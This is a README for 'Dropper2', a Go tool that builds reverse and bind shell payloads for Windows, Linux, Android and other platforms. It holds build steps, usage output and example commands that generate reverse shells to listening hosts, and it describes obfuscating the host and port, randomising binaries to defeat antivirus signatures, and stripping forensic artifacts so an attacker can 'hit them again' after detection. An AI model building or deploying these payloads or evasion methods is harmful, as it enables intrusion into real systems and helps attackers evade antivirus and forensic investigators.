Dropper2 (now with more R@nd0m!)
As with the initial release of Dropper, navigate to your GOPATH on your system and clone the repo using the go get
command.
go get github.com/im4x5yn74x/dropper2
Navigate to the new github.com/im4x5yn74x/dropper2
folder and build Dropper2 to begin generating payloads.
go build dropper2.go
./dropper2 -h
Usage of ./dropper2: -a string Architecture: 386, amd64, amd64p32, arm, arm64, ppc64, ppc64le, mips, mipsle, mips64, mips64le, s390x, sparc64 -l string Listening host: -o string Output filename: -p string Operating System: windows, linux, freebsd, nacl, netbsd, openbsd, plan9, solaris, dragonfly, darwin, android -s string Shell type: C:\Windows\System32\cmd.exe, C:\Windows\SYSWOW64\WindowsPowerShell\v1.0\powershell.exe, /bin/sh, /system/bin/sh, /bin/busybox, bypass -t string Payload type: bind/reverse
./dropper2 -a 386 -o bypassturkey -p windows -l 192.168.1.112:446 -s bypass -t reverse
./dropper2 -a arm -o lateNightTacos -p linux -l 10.0.0.25:4433 -s /bin/busybox -t reverse
./dropper2 -a amd64 -o browngravy -p windows -l 0.0.0.0:9090 -s powershell -t bind
./dropper2 -a mips64 -o cheeseburgers -p linux -l 0.0.0.0:31337 -s /bin/busybox -t bind
./dropper2 -a arm -o trapspot -p android -l 25.128.34.6:443 -s /system/bin/sh -t reverse
*
(*NOTE: Only works on Termux for Android)
- - Dropper2 now supports variable randomization within each payload generated.
- - Dropper2 also uses obfuscation to disguise both the listening host and port as well as built-in Golang artifacts such as where the payload file is written to be compiled.
- - Antivirus evasion and antiforensics.
- - During forensic analysis of the binaries generated by Dropper 1.0, my team and I discovered artifacts stored within each Golang binary compiled for every platform. These artifacts included certain string values such as your listening IP address and the port used to connect, your shell type provided (/bin/sh, cmd.exe, etc...) as well as the path to the Golang file you compiled. This information could not only inform forensics engineers where you compiled your tool (a.k.a. your GOPATH most likely), but through the use string analysis, they could easily infer as to what the binary's true intentions may be. (10.0.0.100:1337 /bin/sh; Hmmm, I wonder what it could be doing...)
Realistically, these changes need to be implemented in not only Dropper but within Golang itself, especially for penetration testers and privacy conscious individuals who don't want or can't afford to share intimate information regarding their software. That being said, the use of obfuscation came into the mix to help solve the same problem.
- - Again, while reviewing the previous payloads generated by Dropper 1.0, I had noticed the "Windows" binaries that were generated had the tendency of having the same signature no matter how many times I would recreate the binary. Even changing the name of the payload didn't seem to help the matter much either. Thus something needed to be done during the compilation process. The solution came when I had reviewed different randomization algorithms on the Go Playground, leading me to choose one that could produce the quickest random value while using the most entropy. The use of this function within Dropper2 now allows each variable written into the generated payloads to be a unique value and effectivly creating a random binary signature everytime; thus allowing an attacker to drop the same payload on a victim's system while appearing brand new each time in the eyes of the antivirus.
- - The short answer is: It depends on the current security policies in place on any given system. In a situation where the compromised system has certain group policy rules such as blocking a user from downloading `unknown` binaries from the internet, then the attacker needs to get a bit more creative. Dropper 1 & 2 binaries were never intended to be the "one payload to defeat them all", but to simply generate reverse and bind shell payloads for multiple platforms and hide as much evidence possible regarding their actual intended purpose.
I understand that wasn't exactly the shortest answer, however any security professional knows there are multiple ways to bypass system policy restrictions and industry standard antivirus. For everyone else who doesn't know; at least you get a unique binary each time that you can try to hit them again with in the event you get caught the first time. Again, use your own professional judgment before running random binarys on targeted systems.
- - Of course there is. It's an active project I've been adding to anytime I either learn cool tricks to implement or I learn more efficiant ways to write my code. Some teasers for future ideas include:
- * TLS/SSL support
* UDP and IPv6 support
* Blah-blah-blah...(What kind of hacker would I be if I told you all of my secret plans?)
- - Aren't we all?
- - YOU BET I DO!